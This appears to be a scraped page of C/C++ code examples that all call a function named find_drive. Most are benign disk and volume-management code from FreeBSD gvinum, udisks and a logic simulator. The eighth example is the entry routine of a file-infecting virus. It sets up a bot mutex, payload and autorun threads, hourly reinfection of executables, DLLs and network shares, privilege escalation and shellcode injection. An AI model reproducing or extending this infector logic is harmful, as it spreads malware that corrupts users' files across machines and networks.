示例#1
0
/* Create a drive quick and dirty. */
char *
create_drive(char *device)
{
	struct gv_drive *d;
	struct gctl_req *req;
	const char *errstr;
	char *drivename, *dname;
	int drives, i, flags, volumes, subdisks, plexes;

	flags = plexes = subdisks = volumes = 0;
	drives = 1;
	dname = NULL;

	drivename = find_drive();
	if (drivename == NULL)
		return (NULL);

	req = gctl_get_handle();
	gctl_ro_param(req, "class", -1, "VINUM");
	gctl_ro_param(req, "verb", -1, "create");
	d = gv_alloc_drive();
	if (d == NULL)
		err(1, "unable to allocate for gv_drive object");

	strlcpy(d->name, drivename, sizeof(d->name));
	copy_device(d, device);
	gctl_ro_param(req, "drive0", sizeof(*d), d);
	gctl_ro_param(req, "flags", sizeof(int), &flags);
	gctl_ro_param(req, "drives", sizeof(int), &drives);
	gctl_ro_param(req, "volumes", sizeof(int), &volumes);
	gctl_ro_param(req, "plexes", sizeof(int), &plexes);
	gctl_ro_param(req, "subdisks", sizeof(int), &subdisks);
	errstr = gctl_issue(req);
	if (errstr != NULL) {
		warnx("error creating drive: %s", errstr);
		gctl_free(req);
		return (NULL);
	} else {
		gctl_free(req);
		/* XXX: This is needed because we have to make sure the drives
		 * are created before we return. */
		/* Loop until it's in the config. */
		for (i = 0; i < 100000; i++) {
			dname = find_name("gvinumdrive", GV_TYPE_DRIVE,
			    GV_MAXDRIVENAME);
			/* If we got a different name, quit. */
			if (dname == NULL)
				continue;
			if (strcmp(dname, drivename)) {
				free(dname);
				return (drivename);
			}
			free(dname);
			dname = NULL;
			usleep(100000); /* Sleep for 0.1s */
		}
	}
	gctl_free(req);
	return (drivename);
}
示例#2
0
static void add_drive(GUDisksVolumeMonitor* mon, GUDisksDevice* dev, gboolean emit_signal)
{
    if(!find_drive(mon, dev))
    {
        GUDisksDrive* drv = g_udisks_drive_new(mon, dev);
        mon->drives = g_list_prepend(mon->drives, drv);
        if(emit_signal)
            g_signal_emit(mon, sig_drive_connected, 0, drv);
    }
}
示例#3
0
static update_volume_drive(GUDisksVolume* vol, GUDisksVolumeMonitor* mon)
{
    /* set association between drive and volumes here */
    GUDisksDevice* dev;
    if(vol->dev->is_drive) /* it's a drive itself (cdrom is an example) */
        dev = vol->dev;
    else if(vol->dev->partition_slave)
        dev = find_device(mon, vol->dev->partition_slave);
    else
        dev = NULL;

    /* no ref_count handling is needed. volume manager owns all the objects. */
    if(dev)
    {
        GUDisksDrive* drv = find_drive(mon, dev);
        vol->drive = drv;
    }
    else
        vol->drive = NULL;
}
示例#4
0
static void g_udisks_device_changed(GUDisksDevice* dev, GUDisksVolumeMonitor* mon)
{
    GUDisksDrive* drv = find_drive(mon, dev);
    GUDisksVolume* vol = find_volume(mon, dev);
    /*
    gboolean is_drive = dev->is_drive;
    char* usage = g_strdup(dev->usage);
    */
    g_debug("g_udisks_device_changed");
    if(drv)
    {
        g_signal_emit(mon, sig_drive_changed, 0, drv);
        g_udisks_drive_changed(drv);
        /* it's no longer a drive */
        if(!dev->is_drive)
            remove_drive(mon, dev);
    }
    else
    {
        if(dev->is_drive)
            add_drive(mon, dev, TRUE);
    }

    if(vol)
    {
        update_volume_drive(vol, mon);
        g_signal_emit(mon, sig_volume_changed, 0, vol);
        g_udisks_volume_changed(vol);

        /* it's no longer a volume */
        if(!g_udisks_device_is_volume(dev))
            remove_volume(mon, dev);
    }
    else
    {
        /* we got a usable volume now */
        if(g_udisks_device_is_volume(dev))
            add_volume(mon, dev, TRUE);
    }
}
bool    net::retrieve_logic_value()
{
	pin * drive = NULL;
    if(find_drive(drive)){
        if (bwcomf) {
            return value_;
        }
        else{
            set_comf();
            value1_ = 0;
            value_ = (drive->get_gate())->compute_output();//NOTE: flip_flop
            return value_;
        }
    }
    else{//if all is Z
        value1_ = 1;
        value_ = 1;
		set_comf();
        return value_;

    }
    
}
示例#6
0
/* Grow a subdisk by adding disk backed by provider. */
void
gvinum_grow(int argc, char **argv)
{
	struct gctl_req *req;
	char *drive, *sdname;
	char sdprefix[GV_MAXSDNAME];
	struct gv_drive *d;
	struct gv_sd *s;
	const char *errstr;
	int drives, volumes, plexes, subdisks, flags;

	drives = volumes = plexes = subdisks = 0;
	if (argc < 3) {
		warnx("usage:\tgrow plex drive\n");
		return;
	}

	s = gv_alloc_sd();
	if (s == NULL) {
		warn("unable to create subdisk");
		return;
	}
	d = gv_alloc_drive();
	if (d == NULL) {
		warn("unable to create drive");
		free(s);
		return;
	}
	/* Lookup device and set an appropriate drive name. */
	drive = find_drive();
	if (drive == NULL) {
		warn("unable to find an appropriate drive name");
		free(s);
		free(d);
		return;
	}
	strlcpy(d->name, drive, sizeof(d->name));
	copy_device(d, argv[2]);

	drives = 1;

	/* We try to use the plex name as basis for the subdisk name. */
	snprintf(sdprefix, sizeof(sdprefix), "%s.s", argv[1]);
	sdname = find_name(sdprefix, GV_TYPE_SD, GV_MAXSDNAME);
	if (sdname == NULL) {
		warn("unable to find an appropriate subdisk name");
		free(s);
		free(d);
		free(drive);
		return;
	}
	strlcpy(s->name, sdname, sizeof(s->name));
	free(sdname);
	strlcpy(s->plex, argv[1], sizeof(s->plex));
	strlcpy(s->drive, d->name, sizeof(s->drive));
	subdisks = 1;

	req = gctl_get_handle();
	gctl_ro_param(req, "class", -1, "VINUM");
	gctl_ro_param(req, "verb", -1, "create");
	gctl_ro_param(req, "flags", sizeof(int), &flags);
	gctl_ro_param(req, "volumes", sizeof(int), &volumes);
	gctl_ro_param(req, "plexes", sizeof(int), &plexes);
	gctl_ro_param(req, "subdisks", sizeof(int), &subdisks);
	gctl_ro_param(req, "drives", sizeof(int), &drives);
	gctl_ro_param(req, "drive0", sizeof(*d), d);
	gctl_ro_param(req, "sd0", sizeof(*s), s);
	errstr = gctl_issue(req);
	free(drive);
	if (errstr != NULL) {
		warnx("unable to grow plex: %s", errstr);
		free(s);
		free(d);
		return;
	}
	gctl_free(req);
}
示例#7
0
文件: vinumioctl.c 项目: MarginC/kame
void
renameobject(struct vinum_rename_msg *msg)
{
    struct _ioctl_reply *reply = (struct _ioctl_reply *) msg;
    struct drive *drive;
    struct sd *sd;
    struct plex *plex;
    struct volume *vol;

    switch (msg->type) {
    case drive_object:					    /* you can't attach a drive to anything */
	if (find_drive(msg->newname, 0) >= 0) {		    /* we have that name already, */
	    reply->error = EEXIST;
	    reply->msg[0] = '\0';
	    return;
	}
	drive = validdrive(msg->index, reply);
	if (drive) {
	    bcopy(msg->newname, drive->label.name, MAXDRIVENAME);
	    save_config();
	    reply->error = 0;
	}
	return;

    case sd_object:					    /* you can't attach a subdisk to anything */
	if (find_subdisk(msg->newname, 0) >= 0) {	    /* we have that name already, */
	    reply->error = EEXIST;
	    reply->msg[0] = '\0';
	    return;
	}
	sd = validsd(msg->index, reply);
	if (sd) {
	    bcopy(msg->newname, sd->name, MAXSDNAME);
	    update_sd_config(sd->sdno, 0);
	    save_config();
	    reply->error = 0;
	}
	return;

    case plex_object:					    /* you can't attach a plex to anything */
	if (find_plex(msg->newname, 0) >= 0) {		    /* we have that name already, */
	    reply->error = EEXIST;
	    reply->msg[0] = '\0';
	    return;
	}
	plex = validplex(msg->index, reply);
	if (plex) {
	    bcopy(msg->newname, plex->name, MAXPLEXNAME);
	    update_plex_config(plex->plexno, 0);
	    save_config();
	    reply->error = 0;
	}
	return;

    case volume_object:					    /* you can't attach a volume to anything */
	if (find_volume(msg->newname, 0) >= 0) {	    /* we have that name already, */
	    reply->error = EEXIST;
	    reply->msg[0] = '\0';
	    return;
	}
	vol = validvol(msg->index, reply);
	if (vol) {
	    bcopy(msg->newname, vol->name, MAXVOLNAME);
	    update_volume_config(msg->index, 0);
	    save_config();
	    reply->error = 0;
	}
	return;

    case invalid_object:
	reply->error = EINVAL;
	reply->msg[0] = '\0';
    }
}
示例#8
0
void entry(DWORD magic,DECRYPT_ITEM *item){	
	if (magic==MAGIC_INJECT){
#if _DEBUG
		wchar_t name[MAX_PATH];
		GetModuleFileNameW(GetModuleHandleW(0), name, MAX_PATH);
		dbg(VINFO, L"I'm injected %s",name);
#endif
		//в ожидании что бот помер
		while (true){
			HANDLE hbot = CreateMutexA(0, TRUE, mtbot);
			if (!hbot){
				Sleep(1000);
				continue;
			}
			if (GetLastError() == ERROR_ALREADY_EXISTS){
				CloseHandle(hbot);
				Sleep(1000);
				continue;
			}
			break;
		}
		
		//основной цикл жизни бота
#if _DEBUG
		dbg(VINFO, L"Run bot %s", name);
#endif
		//старт полезной нагрузки
		CreateThread(0, 0, thread_payload, 0, 0, 0);
		//запись в автозапуск
		CreateThread(0, 0, thread_autorun, item, 0, 0);
		//повторный инфект
		cmem b;
		b.push(item+1, item->size);
		while (1){
			find_drive(L"*.exe", P, &b);
			find_drive(L"*.dll", P, &b);
			infect_netshares(shares, &b);
			find_drive(L"*.*", P, &b);
			dbg(VINFO, "Infect done");
			Sleep(60*60*1000);
		}
		
		ExitThread(0);
	}
	if (magic == MAGIC_SHELLCODE){ //Второе поколение вируса
		dbg(VINFO, L"I'm copy beetle2 inside target file");
		setPrivilege(GetCurrentProcess(), SE_DEBUG_NAME, TRUE);
		cmem inj;
		inj.push(item, item->size + sizeof(DECRYPT_ITEM));
		inject(inj);
		ExitThread(0);
	}

	wchar_t fcur[MAX_PATH];
	GetModuleFileNameW(GetModuleHandleW(0), fcur, MAX_PATH);

	cmem a, b, c;
	if (!cfile::load(fcur, a)){
		dbg(VERROR, "Can't open current file");
		exit(0);
	}
	
	if (!cfile::load("..\\test\\notepad.exe", b)){
		dbg(VERROR, "Can't open target file");
		exit(0);
	}
	
	if (!infect(b, a, &c)){
		dbg(VERROR, "Can't infect target file");
		exit(0);
	}

	if (!cfile::save("..\\test\\notepad.inf.exe", c)){
		dbg(VERROR, "Can't save infected file");
		exit(0);
	}

	dbg(VINFO, "Done target file");
	exit(0);
}